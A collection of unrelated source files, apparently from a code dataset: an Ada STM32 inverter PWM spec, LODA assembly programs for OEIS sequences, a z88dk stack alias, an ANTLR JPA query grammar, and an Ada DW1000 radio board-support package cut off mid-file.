-- With a minimum battery voltage of 10 V, the minimum AC RMS voltage
-- will be 10 V / sqrt(2) = 7.07 V.
-- The transformer voltage ratio between the primary and secondary, for
-- a maximum output voltage of 230 V RMS, will be 230 V / 7.07 V = 32.5,
-- so the turns ratio of the transformer will be (Ns / Np) = 33.
subtype Sine_Range is Float range 0.0 .. 1.0;
Sine_Amplitude : Sine_Range := 0.0;
subtype Duty_Cycle is Float range 0.0 .. 100.0;
-- The upload frequency of the duty cycle is defined by the number of points
-- for each semi-sinusoid.
-- For 50 Hz we have 2 half senoids * 50 Hz * 256 points = 25600 Hz.
-- For 60 Hz we have 2 half senoids * 60 Hz * 256 points = 30720 Hz.
-- For 400 Hz we have 2 half senoids * 400 Hz * 256 points = 204800 Hz.
PWM_Frequency_Hz : Frequency_Hz := 30_720.0; -- for 60 Hz
-- Actually the STM32G474 operates at 150 MHz with 150 MHz into Prescaler.
-- With (10 - 1) for prescaler we have 15 MHz for counter period, that has
-- values of 586, 488 and 73 for 25.597, 30.7377 and 205.479 KHz, that
-- will result in 49.99, 60.035 and 401.327 Hz.
subtype Deadtime_Range is Float range 0.0 .. 400.0e-9;
-- Maximum deadtime permissible is 126 us.
-- Maximum deadtime chosen is 1% of the PWM_Frequency_Hz = 0.01/25_000.
PWM_Deadtime : constant Deadtime_Range := 166.7e-9;
-- The delay exists in the rising edges.
-- It depends on the electronic circuit rise and fall times.
-- 166.7e-9 * 30 kHz * 100 = 0.5% of the total period.
-----------------------------
-- Procedures and function --
-----------------------------
procedure Initialize_CORDIC;
-- Enable clock and configure CORDIC coprocessor with sine function.
procedure Initialize_PWM
(Frequency : Frequency_Hz;
Deadtime : Deadtime_Range;
Alignment : PWM_Alignment);
-- Initialize the timer peripheral for PWM.
-- Each phase needs to be enabled manually after this.
procedure Enable_Phase (This : PWM_Phase)
with inline;
-- Enable PWM generation for the specified phase.
procedure Disable_Phase (This : PWM_Phase)
with inline;
-- Disable PWM generation for the specified phase.
procedure Start_PWM
with
Pre => Is_Initialized;
-- Start the generation of sinusoid wave by enabling interrupt.
procedure Stop_PWM
with
Pre => Is_Initialized;
-- Stop the generation of sinusoid wave by disabling interrupt.
function Get_Duty_Resolution return Duty_Cycle;
-- Return the minimum step that the duty can be changed, in percent.
procedure Set_Duty_Cycle
(This : PWM_Phase;
Value : Duty_Cycle);
-- Sets the duty cycle in percent for the specified phase.
procedure Set_Duty_Cycle
(This : PWM_Phase;
Amplitude : Sine_Range;
Gain : Gain_Range);
-- Sets the duty cycle for the specified phase.
procedure Set_PWM_Gate_Power (Enabled : in Boolean)
with
Pre => STM_Board.Is_Initialized and (if Enabled then Is_Initialized);
-- Enable or disable the output of the gate drivers. This routine must be
-- altered in accordance to your hardware because some chips enable with
-- True and others with False.
procedure Reset_Sine_Step;
-- Set the Sine_Step variable to the first angle value, or 0.0 whose
-- amplitude value is 0.
procedure Safe_State;
-- Forces the inverter into a state that is considered safe.
-- Typically this disables the PWM generation (all switches off), and
-- turns off the power to the gate drivers.
function Is_Initialized return Boolean;
-- Returns True if the board specifics are initialized.
private
Initialized : Boolean := False;
-- A table for sine generation is produced knowing the number of points
-- to complete 1/2 sine period. The sine function goes from 0 to 1 to 0 in
-- 1/2 sine period, that corresponds to 0 to Pi/2 to Pi.
-- The equation which defines the value of each point is:
--
-- D = A * sin(pi * x/N)
-- D = Duty cycle at a given discrete point;
-- A = Signal amplitude of the maximum duty cycle. We adopt 1.
-- pi = 1/2 of the sine period
-- x = Step number
-- N = Number of points = 256
-- The STM32F474 CPU has hardware acceleration of mathematical functions
-- (mainly trigonometric ones), so we benefit of it with sine calculations
-- and, instead of using a sine table, we calculate it directly.
-- The values introduced into the CORDIC doesn't need the Pi multiplication,
-- so Pi corresponds to 1.0 and -Pi corresponds to -1.0. See the definition
-- for Fraction_16 and Fraction_32 in the stm32-cordic.ads file.
-- The only limitation is that any value introduced into the CORDIC must be
-- a multiple of 2**(-31) when using Fraction_32 or 2**(-15) when using
-- Fraction_16.
Sine_Step_Number : constant Positive := 256;
-- Number of steps for the half-sine.
Increment : constant Q1_15 := 1.0 / Sine_Step_Number;
-- This value must be a multiple of delta (2.0**(-15)).
-- The Increment value determine the number of points to complete 1/2
-- sine period, so the interval is between 0.0 and 1.0 (0 to Pi). The
-- complete sinusoid or sine period is completed with these same points but
-- using the second half-bridge, so it will be 512 points.
subtype Sine_Step_Range is Q1_15 range 0.0 .. 1.0 - Increment;
-- This range gives exactly 256 x Increment values.
-- For sine function, the first argument is the angle, while the second
-- argument is the modulus, that in this case doesn't change.
Sine_Step : Sine_Step_Range;
Modulus : constant UInt16 := 16#7FFF#; -- 1 - 2**(-31)
Initial_Step : constant Sine_Step_Range := Sine_Step_Range'Last;
-- The initial angle would be the first point after 0.0, and the last point
-- would be 1.0. But this CORDIC only accept values between -1.0 and
-- 1.0 - 2**(-15), so the last point couldn't be 1.0. Then we choose to
-- count down from [1.0 - Increment] to 0.0 and restart this same count down
-- for the next semi-senoid. This way we have exactly 256 points for the
-- semi-senoid and the last point (0.0) will return a sine value of 0.0.
-- Buffers with the data in and out to the CORDIC.
Data_In : UInt16_Array := (Q1_15_To_UInt16 (Initial_Step), Modulus);
Data_Out : UInt16_Array := (0, 0);
PWM_Timer_Ref : access Timer := PWM_Timer'Access;
Modulators : array (PWM_Phase'Range) of PWM_Modulator;
type Gate_Setting is record
Channel : Timer_Channel;
Pin_H : GPIO_Point;
Pin_L : GPIO_Point;
Pin_AF : STM32.GPIO_Alternate_Function;
end record;
type Gate_Settings is array (PWM_Phase'Range) of Gate_Setting;
Gate_Phase_Settings : constant Gate_Settings :=
((A) => Gate_Setting'(Channel => PWM_A_Channel,
Pin_H => PWM_A_H_Pin,
Pin_L => PWM_A_L_Pin,
Pin_AF => PWM_A_GPIO_AF),
(B) => Gate_Setting'(Channel => PWM_B_Channel,
Pin_H => PWM_B_H_Pin,
Pin_L => PWM_B_L_Pin,
Pin_AF => PWM_B_GPIO_AF));
protected PWM_Handler is
pragma Interrupt_Priority (PWM_ISR_Priority);
private
Counter : Integer := 0;
-- For testing the output.
Semi_Senoid : Boolean := False;
-- Defines False = 1'st half sinusoid, True = 2'nd half sinusoid.
procedure PWM_ISR_Handler with
Attach_Handler => PWM_Interrupt;
end PWM_Handler;
end Inverter_PWM;
|
programs/oeis/286/A286655.asm | karttu/loda | 0 | 2776 | ; A286655: Characteristic sequence of the Beatty sequence, A022842, of sqrt(8).
; 0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0
mov $5,$0
mov $7,2
lpb $7,1
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
add $0,1
pow $0,2
lpb $0,1
sub $0,1
add $1,3
sub $0,$1
sub $1,1
trn $0,$1
lpe
div $1,4
mov $8,$7
lpb $8,1
mov $6,$1
sub $8,1
lpe
lpe
lpb $5,1
mov $5,0
sub $6,$1
lpe
mov $1,$6
|
programs/oeis/335/A335843.asm | neoneye/loda | 22 | 94659 | ; A335843: a(n) is the number of n-digit positive integers with exactly two distinct base 10 digits.
; 0,81,243,567,1215,2511,5103,10287,20655,41391,82863,165807,331695,663471,1327023,2654127,5308335,10616751,21233583,42467247,84934575,169869231,339738543,679477167,1358954415,2717908911,5435817903,10871635887,21743271855,43486543791,86973087663,173946175407,347892350895,695784701871,1391569403823,2783138807727,5566277615535,11132555231151,22265110462383,44530220924847,89060441849775,178120883699631,356241767399343,712483534798767,1424967069597615,2849934139195311,5699868278390703,11399736556781487,22799473113563055,45598946227126191,91197892454252463,182395784908505007,364791569817010095,729583139634020271,1459166279268040623,2918332558536081327,5836665117072162735,11673330234144325551,23346660468288651183,46693320936577302447,93386641873154604975,186773283746309210031,373546567492618420143,747093134985236840367,1494186269970473680815,2988372539940947361711,5976745079881894723503,11953490159763789447087,23906980319527578894255,47813960639055157788591,95627921278110315577263,191255842556220631154607,382511685112441262309295,765023370224882524618671,1530046740449765049237423,3060093480899530098474927,6120186961799060196949935,12240373923598120393899951,24480747847196240787799983,48961495694392481575600047,97922991388784963151200175,195845982777569926302400431,391691965555139852604800943,783383931110279705209601967,1566767862220559410419204015,3133535724441118820838408111,6267071448882237641676816303,12534142897764475283353632687,25068285795528950566707265455,50136571591057901133414530991,100273143182115802266829062063,200546286364231604533658124207,401092572728463209067316248495,802185145456926418134632497071,1604370290913852836269264994223,3208740581827705672538529988527,6417481163655411345077059977135,12834962327310822690154119954351,25669924654621645380308239908783,51339849309243290760616479817647
mov $1,2
pow $1,$0
sub $1,1
mul $1,81
mov $0,$1
|
oeis/083/A083593.asm | neoneye/loda-programs | 11 | 2758 | ; A083593: Expansion of 1/((1-2*x)*(1-x^4)).
; 1,2,4,8,17,34,68,136,273,546,1092,2184,4369,8738,17476,34952,69905,139810,279620,559240,1118481,2236962,4473924,8947848,17895697,35791394,71582788,143165576,286331153,572662306,1145324612,2290649224,4581298449,9162596898,18325193796,36650387592,73300775185,146601550370,293203100740,586406201480,1172812402961,2345624805922,4691249611844,9382499223688,18764998447377,37529996894754,75059993789508,150119987579016,300239975158033,600479950316066,1200959900632132,2401919801264264,4803839602528529
mov $1,2
pow $1,$0
mul $1,32
div $1,30
mov $0,$1
|
libsrc/_DEVELOPMENT/adt/wv_stack/c/sccz80/wv_stack_init_callee.asm | jpoikela/z88dk | 640 | 100775 |
; wv_stack_t *wv_stack_init(void *p, size_t capacity, size_t max_size)
SECTION code_clib
SECTION code_adt_wv_stack
PUBLIC wv_stack_init_callee
EXTERN w_vector_init_callee
defc wv_stack_init_callee = w_vector_init_callee
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _wv_stack_init_callee
defc _wv_stack_init_callee = wv_stack_init_callee
ENDIF
|
jpa/JPA.g4 | augustand/grammars-v4 | 0 | 5403 | grammar JPA;
/* <NAME>
More JPA informations:
http://www.kunkelgmbh.de/jpa/jpa.html
28.11.2009
*/
/*
ported to Antlr4 by <NAME>
*/
ql_statement
: select_statement
| update_statement
| delete_statement
;
select_statement
: select_clause from_clause (where_clause)? (groupby_clause)? (having_clause)? (orderby_clause)?
;
update_statement
: update_clause (where_clause)?
;
delete_statement
: delete_clause (where_clause)?
;
from_clause
: 'FROM' identification_variable_declaration (',' (identification_variable_declaration | collection_member_declaration))*
;
identification_variable_declaration
: range_variable_declaration (join | fetch_join)*
;
range_variable_declaration
: abstract_schema_name ('AS')? IDENTIFICATION_VARIABLE
;
join
: join_spec join_association_path_expression ('AS')? IDENTIFICATION_VARIABLE
;
fetch_join
: join_spec 'FETCH' join_association_path_expression
;
join_spec
: (('LEFT') ('OUTER')? | 'INNER')? 'JOIN'
;
join_association_path_expression
: join_collection_valued_path_expression
| join_single_valued_association_path_expression
;
join_collection_valued_path_expression
: IDENTIFICATION_VARIABLE '.' collection_valued_association_field
;
join_single_valued_association_path_expression
: IDENTIFICATION_VARIABLE '.' single_valued_association_field
;
collection_member_declaration
: 'IN' '(' collection_valued_path_expression ')' ('AS')? IDENTIFICATION_VARIABLE
;
single_valued_path_expression
: state_field_path_expression
| single_valued_association_path_expression
;
state_field_path_expression
: (IDENTIFICATION_VARIABLE | single_valued_association_path_expression) '.' state_field
;
single_valued_association_path_expression
: IDENTIFICATION_VARIABLE '.' (single_valued_association_field '.')* single_valued_association_field
;
collection_valued_path_expression
: IDENTIFICATION_VARIABLE '.' (single_valued_association_field '.')* collection_valued_association_field
;
state_field
: (embedded_class_state_field '.')* simple_state_field
;
update_clause
: 'UPDATE' abstract_schema_name (('AS')? IDENTIFICATION_VARIABLE)? 'SET' update_item (',' update_item)*
;
update_item
: (IDENTIFICATION_VARIABLE '.')? (state_field | single_valued_association_field) '=' new_value
;
new_value
: simple_arithmetic_expression
| string_primary
| datetime_primary
| boolean_primary
| enum_primary
| simple_entity_expression
| 'NULL'
;
delete_clause
: 'DELETE' 'FROM' abstract_schema_name (('AS')? IDENTIFICATION_VARIABLE)?
;
select_clause
: 'SELECT' ('DISTINCT')? select_expression (',' select_expression)*
;
select_expression
: single_valued_path_expression
| aggregate_expression
| IDENTIFICATION_VARIABLE
| 'OBJECT' '(' IDENTIFICATION_VARIABLE ')'
| constructor_expression
;
constructor_expression
: 'NEW' constructor_name '(' constructor_item (',' constructor_item)* ')'
;
constructor_item
: single_valued_path_expression
| aggregate_expression
;
aggregate_expression
: ('AVG' | 'MAX' | 'MIN' | 'SUM') '(' ('DISTINCT')? state_field_path_expression ')'
| 'COUNT' '(' ('DISTINCT')? (IDENTIFICATION_VARIABLE | state_field_path_expression | single_valued_association_path_expression) ')'
;
where_clause
: 'WHERE' conditional_expression
;
groupby_clause
: 'GROUP' 'BY' groupby_item (',' groupby_item)*
;
groupby_item
: single_valued_path_expression
| IDENTIFICATION_VARIABLE
;
having_clause
: 'HAVING' conditional_expression
;
orderby_clause
: 'ORDER' 'BY' orderby_item (',' orderby_item)*
;
orderby_item
: state_field_path_expression ('ASC' | 'DESC')?
;
subquery
: simple_select_clause subquery_from_clause (where_clause)? (groupby_clause)? (having_clause)?
;
subquery_from_clause
: 'FROM' subselect_identification_variable_declaration (',' subselect_identification_variable_declaration)*
;
subselect_identification_variable_declaration
: identification_variable_declaration
| association_path_expression ('AS')? IDENTIFICATION_VARIABLE
| collection_member_declaration
;
association_path_expression
: collection_valued_path_expression
| single_valued_association_path_expression
;
simple_select_clause
: 'SELECT' ('DISTINCT')? simple_select_expression
;
simple_select_expression
: single_valued_path_expression
| aggregate_expression
| IDENTIFICATION_VARIABLE
;
conditional_expression
: (conditional_term) ('OR' conditional_term)*
;
conditional_term
: (conditional_factor) ('AND' conditional_factor)*
;
conditional_factor
: ('NOT')? conditional_primary
;
conditional_primary
: simple_cond_expression
| '(' conditional_expression ')'
;
simple_cond_expression
: comparison_expression
| between_expression
| like_expression
| in_expression
| null_comparison_expression
| empty_collection_comparison_expression
| collection_member_expression
| exists_expression
;
between_expression
: arithmetic_expression ('NOT')? 'BETWEEN' arithmetic_expression 'AND' arithmetic_expression
| string_expression ('NOT')? 'BETWEEN' string_expression 'AND' string_expression
| datetime_expression ('NOT')? 'BETWEEN' datetime_expression 'AND' datetime_expression
;
in_expression
: state_field_path_expression ('NOT')? 'IN' '(' (in_item (',' in_item)* | subquery) ')'
;
in_item
: literal
| input_parameter
;
like_expression
: string_expression ('NOT')? 'LIKE' pattern_value ('ESCAPE' ESCAPE_CHARACTER)?
;
null_comparison_expression
: (single_valued_path_expression | input_parameter) 'IS' ('NOT')? 'NULL'
;
empty_collection_comparison_expression
: collection_valued_path_expression 'IS' ('NOT')? 'EMPTY'
;
collection_member_expression
: entity_expression ('NOT')? 'MEMBER' ('OF')? collection_valued_path_expression
;
exists_expression
: ('NOT')? 'EXISTS' '(' subquery ')'
;
all_or_any_expression
: ('ALL' | 'ANY' | 'SOME') '(' subquery ')'
;
comparison_expression
: string_expression comparison_operator (string_expression | all_or_any_expression)
| boolean_expression ('=' | '<>') (boolean_expression | all_or_any_expression)
| enum_expression ('=' | '<>') (enum_expression | all_or_any_expression)
| datetime_expression comparison_operator (datetime_expression | all_or_any_expression)
| entity_expression ('=' | '<>') (entity_expression | all_or_any_expression)
| arithmetic_expression comparison_operator (arithmetic_expression | all_or_any_expression)
;
comparison_operator
: '='
| '>'
| '>='
| '<'
| '<='
| '<>'
;
arithmetic_expression
: simple_arithmetic_expression
| '(' subquery ')'
;
simple_arithmetic_expression
: (arithmetic_term) (('+' | '-') arithmetic_term)*
;
arithmetic_term
: (arithmetic_factor) (('*' | '/') arithmetic_factor)*
;
arithmetic_factor
: ('+' | '-')? arithmetic_primary
;
arithmetic_primary
: state_field_path_expression
| numeric_literal
| '(' simple_arithmetic_expression ')'
| input_parameter
| functions_returning_numerics
| aggregate_expression
;
string_expression
: string_primary
| '(' subquery ')'
;
string_primary
: state_field_path_expression
| STRINGLITERAL
| input_parameter
| functions_returning_strings
| aggregate_expression
;
datetime_expression
: datetime_primary
| '(' subquery ')'
;
datetime_primary
: state_field_path_expression
| input_parameter
| functions_returning_datetime
| aggregate_expression
;
boolean_expression
: boolean_primary
| '(' subquery ')'
;
boolean_primary
: state_field_path_expression
| boolean_literal
| input_parameter
;
enum_expression
: enum_primary
| '(' subquery ')'
;
enum_primary
: state_field_path_expression
| enum_literal
| input_parameter
;
entity_expression
: single_valued_association_path_expression
| simple_entity_expression
;
simple_entity_expression
: IDENTIFICATION_VARIABLE
| input_parameter
;
functions_returning_numerics
: 'LENGTH' '(' string_primary ')'
| 'LOCATE' '(' string_primary ',' string_primary (',' simple_arithmetic_expression)? ')'
| 'ABS' '(' simple_arithmetic_expression ')'
| 'SQRT' '(' simple_arithmetic_expression ')'
| 'MOD' '(' simple_arithmetic_expression ',' simple_arithmetic_expression ')'
| 'SIZE' '(' collection_valued_path_expression ')'
;
functions_returning_datetime
: 'CURRENT_DATE'
| 'CURRENT_TIME'
| 'CURRENT_TIMESTAMP'
;
functions_returning_strings
: 'CONCAT' '(' string_primary ',' string_primary ')'
| 'SUBSTRING' '(' string_primary ',' simple_arithmetic_expression ',' simple_arithmetic_expression ')'
| 'TRIM' '(' ((trim_specification)? (TRIM_CHARACTER)? 'FROM')? string_primary ')'
| 'LOWER' '(' string_primary ')'
| 'UPPER' '(' string_primary ')'
;
trim_specification
: 'LEADING'
| 'TRAILING'
| 'BOTH'
;
numeric_literal
:
;
pattern_value
:
;
input_parameter
: '?' INT_NUMERAL
| ':' IDENTIFICATION_VARIABLE
;
literal
:
;
constructor_name
:
;
enum_literal
:
;
boolean_literal
: 'true'
| 'false'
;
simple_state_field
:
;
embedded_class_state_field
:
;
single_valued_association_field
:
;
collection_valued_association_field
:
;
abstract_schema_name
:
;
IDENTIFICATION_VARIABLE
: ('a' .. 'z' | 'A' .. 'Z' | '_') ('a' .. 'z' | 'A' .. 'Z' | '0' .. '9' | '_')*
;
CHARACTER
: '\'' (~ ('\'' | '\\')) '\''
;
STRINGLITERAL
: ('\'' (~ ('\\' | '"'))* '\'')
;
ESCAPE_CHARACTER
: CHARACTER
;
WS
: [ \t\r\n] -> skip
;
|
programs/oeis/225/A225894.asm | karttu/loda | 0 | 84002 | ; A225894: Number of n X 2 binary arrays whose sum with another n X 2 binary array containing no more than a single 1 has rows and columns in lexicographically nondecreasing order.
; 4,12,33,78,162,304,527,858,1328,1972,2829,3942,5358,7128,9307,11954,15132,18908,23353,28542,34554,41472,49383,58378,68552,80004,92837,107158,123078,140712,160179,181602,205108,230828,258897,289454,322642,358608,397503,439482,484704,533332,585533,641478,701342,765304,833547,906258,983628,1065852,1153129,1245662,1343658,1447328,1556887,1672554,1794552,1923108,2058453,2200822,2350454,2507592,2672483,2845378,3026532,3216204,3414657,3622158,3838978,4065392,4301679,4548122,4805008,5072628,5351277,5641254,5942862,6256408,6582203,6920562,7271804,7636252,8014233,8406078,8812122,9232704,9668167,10118858,10585128,11067332,11565829,12080982,12613158,13162728,13730067,14315554,14919572,15542508,16184753,16846702,17528754,18231312,18954783,19699578,20466112,21254804,22066077,22900358,23758078,24639672,25545579,26476242,27432108,28413628,29421257,30455454,31516682,32605408,33722103,34867242,36041304,37244772,38478133,39741878,41036502,42362504,43720387,45110658,46533828,47990412,49480929,51005902,52565858,54161328,55792847,57460954,59166192,60909108,62690253,64510182,66369454,68268632,70208283,72188978,74211292,76275804,78383097,80533758,82728378,84967552,87251879,89581962,91958408,94381828,96852837,99372054,101940102,104557608,107225203,109943522,112713204,115534892,118409233,121336878,124318482,127354704,130446207,133593658,136797728,140059092,143378429,146756422,150193758,153691128,157249227,160868754,164550412,168294908,172102953,175975262,179912554,183915552,187984983,192121578,196326072,200599204,204941717,209354358,213837878,218393032,223020579,227721282,232495908,237345228,242270017,247271054,252349122,257505008,262739503,268053402,273447504,278922612,284479533,290119078,295842062,301649304,307541627,313519858,319584828,325737372
mov $2,$0
mov $3,$0
add $3,$0
sub $3,$0
add $0,1
mov $4,$3
lpb $0,1
add $3,$0
sub $0,1
add $1,$3
add $5,$4
add $3,$5
lpe
add $1,6
lpb $2,1
add $1,1
sub $2,1
lpe
sub $1,3
|
OSDev/Try-12/boot/32/switch64.asm | Ashwin-Paudel/Tries | 0 | 169405 | ;
; switch64.asm
; KripayaOS Project
; Author(s): [Ashwin: <EMAIL>]
;
[bits 32]
switch64:
; Enable 32 Bit
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; Enable paging
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
lgdt [gdt_descriptor64]
jmp code_seg64:init64
[bits 64]
init64:
; Disable Interrupts
cli
; Set up the registers
mov ax, data_seg64
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
; Enter 32 Bit
jmp long_mode_init |
alloy4fun_models/trashltl/models/18/fzur3xLxXodspgZfh.als | Kaixi26/org.alloytools.alloy | 0 | 848 | open main
pred idfzur3xLxXodspgZfh_prop19 {
always all p : Protected | after p in Trash
}
pred __repair { idfzur3xLxXodspgZfh_prop19 }
check __repair { idfzur3xLxXodspgZfh_prop19 <=> prop19o } |
bsp-examples/evb1000/dw1000-bsp.adb | SALLYPEMDAS/DW1000 | 9 | 22573 | -------------------------------------------------------------------------------
-- Copyright (c) 2016 <NAME>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to
-- deal in the Software without restriction, including without limitation the
-- rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-- sell copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
-- IN THE SOFTWARE.
-------------------------------------------------------------------------------
with Ada.Real_Time; use Ada.Real_Time;
with Interfaces; use Interfaces;
with STM32.AFIO;
with STM32.EXTI;
with STM32.GPIO;
with STM32.NVIC;
with STM32.RCC;
with STM32.SPI;
-- BSP implementation for the EVB1000 eval board.
--
-- This BSP is designed for a Ravenscar runtime, and makes use of a protected
-- object to satisfy the Synchronous requirement of the abstract Device_State.
-- The use of a protected object protects against races between tasks
-- and the DW1000 IRQ, which both may attempt to access the SPI bus.
--
-- To adapt this runtime for a ZFP profile (where protected objects are
-- prohibited) another mechanim must be used. For example, interrupts may
-- be disabled during SPI transactions.
package body DW1000.BSP
with SPARK_Mode => Off
is
procedure Select_Device
is
begin
STM32.GPIO.GPIOA_Periph.BSRR.BR :=
STM32.GPIO.BSRR_BR_Field'(As_Array => True,
Arr => (4 => 1, others => 0));
end Select_Device;
procedure Deselect_Device
is
begin
STM32.GPIO.GPIOA_Periph.BSRR.BS :=
STM32.GPIO.BSRR_BS_Field'(As_Array => True,
Arr => (4 => 1, others => 0));
end Deselect_Device;
procedure Reset_DW1000
is
begin
-- Configure RSTn GPIO as output
STM32.GPIO.GPIOA_Periph.CRL.MODE0 := 2#11#; -- Output 50 MHz
STM32.GPIO.GPIOA_Periph.CRL.CNF0 := 2#00#; -- Output push-pull
-- Drive the RSTn line low
STM32.GPIO.GPIOA_Periph.BSRR.BR :=
STM32.GPIO.BSRR_BR_Field'(As_Array => True,
Arr => (1 => 1, others => 0));
-- Put the RSTn line to hi-Z
STM32.GPIO.GPIOA_Periph.CRL.MODE0 := 2#00#; -- Input
STM32.GPIO.GPIOA_Periph.CRL.CNF0 := 2#01#; -- Floating input
end Reset_DW1000;
procedure Get_Reset_State (State : out DW1000.Types.Bits_1)
is
begin
State := DW1000.Types.Bits_1 (STM32.GPIO.GPIOA_Periph.IDR.IDR.Arr(0));
end Get_Reset_State;
procedure Acknowledge_DW1000_IRQ
is
begin
STM32.EXTI.EXTI_Periph.PR.PR.Arr (5) := 1;
end Acknowledge_DW1000_IRQ;
procedure Disable_DW1000_IRQ
is
begin
-- Disable IRQ #25 (EXTI9_5_Interrupt)
STM32.NVIC.NVIC_Periph.ICER0 := 16#0200_0000#;
end Disable_DW1000_IRQ;
procedure Enable_DW1000_IRQ
is
begin
-- Enable IRQ #25 (EXTI9_5_Interrupt)
STM32.NVIC.NVIC_Periph.ISER0 := 16#0200_0000#;
end Enable_DW1000_IRQ;
procedure Use_Slow_SPI_Clock
is
begin
-- Use /32 prescaler (72 MHz / 32 = 2.25 MHz clock)
STM32.SPI.SPI1_Periph.CR1.BR := 2#100#;
end Use_Slow_SPI_Clock;
procedure Use_Fast_SPI_Clock
is
begin
-- Use /4 prescaler (72 MHz / 4 = 18 MHz clock)
STM32.SPI.SPI1_Periph.CR1.BR := 2#001#;
end Use_Fast_SPI_Clock;
procedure Assert_WAKEUP
is
begin
STM32.GPIO.GPIOB_Periph.BSRR.BS :=
STM32.GPIO.BSRR_BS_Field'(As_Array => True,
Arr => (0 => 1, others => 0));
end Assert_WAKEUP;
procedure Deassert_WAKEUP
is
begin
STM32.GPIO.GPIOB_Periph.BSRR.BR :=
STM32.GPIO.BSRR_BR_Field'(As_Array => True,
Arr => (0 => 1, others => 0));
end Deassert_WAKEUP;
procedure Write_Transaction(Header : in DW1000.Types.Byte_Array;
Data : in DW1000.Types.Byte_Array)
is
use type STM32.Bit;
begin
Disable_DW1000_IRQ;
Select_Device;
-- Send header
for I in Header'Range loop
STM32.SPI.SPI1_Periph.DR.DR := Unsigned_16 (Header (I) );
loop
exit when STM32.SPI.SPI1_Periph.SR.TXE = 1;
end loop;
end loop;
-- Send data
for I in Data'Range loop
loop
exit when STM32.SPI.SPI1_Periph.SR.TXE = 1;
end loop;
STM32.SPI.SPI1_Periph.DR.DR := Unsigned_16 (Data (I) );
end loop;
-- Wait for the last byte to finish transmitting.
loop
exit when STM32.SPI.SPI1_Periph.SR.BSY = 0;
end loop;
Deselect_Device;
Enable_DW1000_IRQ;
end Write_Transaction;
procedure Read_Transaction(Header : in DW1000.Types.Byte_Array;
Data : out DW1000.Types.Byte_Array)
is
use type STM32.Bit;
begin
Disable_DW1000_IRQ;
Select_Device;
-- Send header
for I in Header'Range loop
STM32.SPI.SPI1_Periph.DR.DR := Unsigned_16 (Header (I));
loop
exit when STM32.SPI.SPI1_Periph.SR.TXE = 1;
end loop;
end loop;
loop
exit when STM32.SPI.SPI1_Periph.SR.BSY = 0;
end loop;
-- Read data
for I in Data'Range loop
-- Send a dummy byte to begin the transfer
STM32.SPI.SPI1_Periph.DR.DR := 16#0000#;
loop
exit when STM32.SPI.SPI1_Periph.SR.BSY = 0;
end loop;
Data (I) := Unsigned_8 (STM32.SPI.SPI1_Periph.DR.DR and 16#FF#);
end loop;
Deselect_Device;
Enable_DW1000_IRQ;
end Read_Transaction;
begin
-- Enable peripheral clocks
STM32.RCC.RCC_Periph.APB2ENR.SPI1EN := 1;
STM32.RCC.RCC_Periph.APB2ENR.AFIOEN := 1;
STM32.RCC.RCC_Periph.APB2ENR.IOPAEN := 1;
STM32.RCC.RCC_Periph.APB2ENR.IOPBEN := 1;
-- Configure GPIO
STM32.GPIO.GPIOA_Periph.CRL.MODE4 := 2#11#;
STM32.GPIO.GPIOA_Periph.CRL.MODE5 := 2#11#;
STM32.GPIO.GPIOA_Periph.CRL.MODE6 := 2#00#;
STM32.GPIO.GPIOA_Periph.CRL.MODE7 := 2#11#;
STM32.GPIO.GPIOA_Periph.CRL.CNF4 := 2#00#;
STM32.GPIO.GPIOA_Periph.CRL.CNF5 := 2#10#;
STM32.GPIO.GPIOA_Periph.CRL.CNF6 := 2#10#;
STM32.GPIO.GPIOA_Periph.CRL.CNF7 := 2#10#;
STM32.GPIO.GPIOB_Periph.CRL.MODE0 := 2#11#;
STM32.GPIO.GPIOB_Periph.CRL.CNF0 := 2#00#;
Deselect_Device;
Deassert_WAKEUP;
-- Configure SPI
STM32.SPI.SPI1_Periph.CR1 :=
STM32.SPI.CR1_Register'(CPHA => 0,
CPOL => 0,
MSTR => 1,
BR => 2#100#, -- /32 prescaler
SPE => 0,
LSBFIRST => 0, -- MSB first
SSI => 1,
SSM => 1,
RXONLY => 0, -- Full duplex
DFF => 0, -- 8-bit data
CRCNEXT => 0,
CRCEN => 0, -- No CRC
BIDIOE => 0,
BIDIMODE => 0, -- Bidirectional
Reserved_16_31 => 0);
STM32.SPI.SPI1_Periph.CRCPR.CRCPOLY := 7;
STM32.SPI.SPI1_Periph.CR1.SPE := 1;
-- Configure IRQ
